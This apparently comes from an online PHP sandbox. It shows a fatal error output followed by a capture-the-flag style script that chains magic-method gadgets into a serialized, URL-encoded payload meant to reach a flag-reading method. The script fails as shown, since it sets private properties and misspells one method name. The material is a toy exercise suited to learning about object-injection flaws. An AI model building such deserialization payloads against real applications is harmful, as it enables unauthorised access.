- Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7
- Fatal error: Uncaught Error: Cannot access private property rank3::$admin in /in/iHNCk:46
Stack trace:
#0 {main}
thrown in /in/iHNCk on line 46
Process exited with code 255.
<?php
class rank1{
public $r1a;
public $r1b;
public function __construct(){
$this->r1a='aaa';
$this->r1b='123456';
}
public function __call($a,$b){
$this->r1a->{$this->r1b}();
return 0;
}
}
class rank2{
public $r2a;
public function __toString(){
$this->r2a->GetFiag();
return 0;
}
}
class rank3{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'r3a' && $this->passwd ==='r3b'){
include('flag.php');
echo $flag;
}
}
}
$r1 = new rank1();
$r2 = new rank2();
$r3 = new rank3();
$r1->r1a = $r2;
$r1->r1b = 'Getflag';
$r2->r2a = $r3;
$r3->admin = 'r3a';
$r3->passwd = 'r3b';
$pass = serialize($r1);
echo urlencode($pass);
?>